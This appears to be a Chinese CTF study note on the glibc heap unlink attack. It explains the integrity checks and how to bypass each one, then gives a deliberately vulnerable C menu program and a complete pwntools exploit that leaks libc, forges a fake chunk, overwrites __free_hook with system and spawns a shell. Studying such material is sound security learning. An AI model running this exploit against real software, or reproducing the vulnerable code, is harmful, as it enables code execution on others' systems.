【我的 PWN 学习手札】Unlink Attack

目录

前言

一、Unlink介绍

二、保护和限制

（1）FD->bk == P AND BK->fd == P

（2）chunksize(P) == prev_size(next_chunk(P))

（3）largebin chunk

三、适用场景 

四、利用与绕过

（1）保护一绕过 

（2）保护二绕过 

（3）检查三绕过 

（4）其他trick 

五、测试代码与模板

---

前言

Unlink是一个堆管理中的一个操作，用于将bin中双向链表组织的堆块从链中取出。然而，我们可以利用这一过程进行的写操作，满足条件的情况下实现任意地址读写。 

---

一、Unlink介绍

在除了fastbin、tcachebin的其他空闲堆块的管理bin中，如shortbin、largebin、unsortedbin，内部组织都是双向链表。如下图（示意图来自好好说话之unlink-CSDN博客 ）

 当需要将second_chunk脱链时，使用unlink对second_chunk操作。不难看出，实际上是这样一个过程：

我的上一个的下一个=我的下一个，我的下一个的上一个=我的上一个

这样“我”就可以取出，因为链上已经没有指针指向“我”，即所谓的脱链。代码上看既是：

(“我”->fd)->bk=(“我”->bk)->fd

转换一下：

FD->bk = BK；BK->fd = FD

其中FD=“我”->fd，BK=“我”->bk。这正是写在glibc源码中的unlink的核心代码

#define unlink(AV, P, BK, FD) {                                            FD = P->fd;								      BK = P->bk;								      if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  else {								      FD->bk = BK;							      BK->fd = FD;							      ...							      }									      
}

二、保护和限制

（1）FD->bk == P AND BK->fd == P

if (__builtin_expect(FD->bk != P || BK->fd != P, 0))malloc_printerr(check_action, "corrupted double-linked list", P, AV);

很明显这个操作是对FD->bk和BK->fd的简单检查

简单来说，（尚未脱链的）链表中：

我的下一个的上一个 == 我 == 我的上一个的下一个

（2）chunksize(P) == prev_size(next_chunk(P))

if (__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0))malloc_printerr("corrupted size vs. prev_size");

这一个操作也很好理解其思路

简单来说

一个堆块的size保存在两个部分：

堆块头头部字段(size)，物理相邻的下一个堆块（prev_size)

这两个数值表示的堆块大小应该相等（注意是表示的而非数值，因为size的低三字节用作控制字段）。

（3）largebin chunk

if (!in_smallbin_range(chunksize_nomask(P)) && __builtin_expect(P->fd_nextsize != NULL, 0)) {if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) ||__builtin_expect(P->bk_nextsize->fd_nextsize != P, 0))malloc_printerr(check_action, "corrupted double-linked list (not small)", P, AV);

 简单来说，如果chunk的大小落在largebin范围内，就会进行对nextsize的检查

三、适用场景 

首先讲一下Unlink的利用场景。

1、chunk_list

2、overflow 

题目往往会有这样一个场景：一个list数组，内部保存了一些heap分配来的指针。

然后对于这些指针有读写的权限。——如果这些指针我们能控制就好了，这样就做到了任意地址读写。

简单的话，这个数组保存在bss段上，再不济是这个数组也是heap分配来的，难一点可能PIE开启了。总之，我们会想方设法得到这个数组的地址。然后开始进行后续利用

四、利用与绕过

（1）保护一绕过 

我们可以构造一个fakechunk，使得： 

fakeFD -> bk == P1 *(&fakeFD + 0x18) == P1 *fakeFD == &P1 - 0x18
fakeBK -> fd == P1 *(&fakeBK + 0x10) == P1 *fakeBK == &P1 - 0x10

结合上图看就很容易理解了——对于fakechunk来说，是不是满足了P->fd->bk==P==P->bk->fd？

（2）保护二绕过 

有两种方法：

1.将 chunk2 的 prev_size 修改成 fake chunk 的 size。

        很直接，没什么好说的

2.将 size 和 prev_size 修改为 0 。

        这是利用了next_chunk(P)实际上是通过ptr+size的方式索引到物理相邻的下一块地址的。这么修改，实际上next_chunk(P)=P，自然也能满足条件。

但是glibc-2.29 起多了对 size 和 prev_size 的检查，第二种方式失效。

（3）检查三绕过 

更简单了，，不要申请largebin大小的chunk，申请smallbin范围内的chunk即可。。。

（4）其他trick 

触发unlink，往往是通过free物理相邻的下一块chunk，检查到该chunk的上一块处于free状态（size的prev_inuse为0)，就用unlink将上一块脱链后合并。

unlink必然是在双向链表的场景，怎么保证呢？这是因为凡是fastbin、tcachebin的chunk的物理相邻chunk的prev_inuse位始终置为1，所以凡是prev_inuse位置为0，那么其物理相邻的上一块chunk必然是在smallbin、largebin、unsortedbin。

因此我们需要溢出来将prev_inuse来置为0，所以在只有off-by-null或者off-by-one的情况下即可利用。

为什么溢出一位即可利用，chunk的size字段前还有prev_size字段，也是需要溢出写的呀？

如果溢出字节数够多，自然没什么可讨论的。

如果只能溢出一个字节呢？其实这个字段并不需要溢出就能修改，chunk具有prev_size复用的情况存在，即，如果当前chunk被启用，会视申请chunk的大小，选择复用下一个物理相邻chunk的prev_size字段——因为上一个chunk被启用了，那么下一个chunk肯定不会和上一个合并，也就用不到prev_size字段，这是空间利用的一种优化。

读者可以试着申请一下（64位下）0x18大小的堆块（当然0x25,0x107等都可以）只要个位是（1~8），即可触发这一复用。

五、测试代码与模板

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>char *chunk_list[0x100];void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}

from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
context.arch=elf.arch
context.log_level='debug'io=process('./pwn')
def add(index,size):io.sendlineafter(b'choice:\n',b'1')io.sendlineafter(b'index:\n',str(index).encode())io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):io.sendlineafter(b'choice:\n',b'2')io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):io.sendlineafter(b'choice:\n',b'3')io.sendlineafter(b'index',str(index).encode())io.sendlineafter(b'length:\n',str(length).encode())io.sendafter(b'content:\n',content)
def show(index):io.sendlineafter(b'choice:\n',b'4')io.sendlineafter(b'index:\n',str(index).encode())# leak libc
add(0,0xa0)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))+0x7075d0200000-0x7075d059bb78
success(hex(libc_base))# chunk list start: 00000000004040C0
add(2,0xf0) # 4040C0+2*8=4040d0  fake_chunk
add(3,0xf0) # 4040c0+3*8=4040d8
add(4,0x10)  # 4040c0+4*8=4040e0fake_size=0x101
fake_chunk=b''
fake_chunk+=p64(0)              #prev_size
fake_chunk+=p64(fake_size)      #size
fake_chunk+=p64(0x4040d0-0x8*3) #fd
fake_chunk+=p64(0x4040d0-0x8*2) #bk
fake_chunk=fake_chunk.ljust(0xf0,b'a')
prev_size_fake=0xf0
payload=fake_chunk+p64(prev_size_fake)+p8(0)
gdb.attach(io)
pause()
edit(2,len(payload),payload)
delete(3)payload=p64(0)+p64(libc_base+libc.sym['__free_hook'])
edit(2,0x10,payload)
edit(0,0x8,p64(libc_base+libc.sym['system']))
add(5,0x20)
edit(5,0x8,b'/bin/sh\x00')
delete(5)
io.interactive()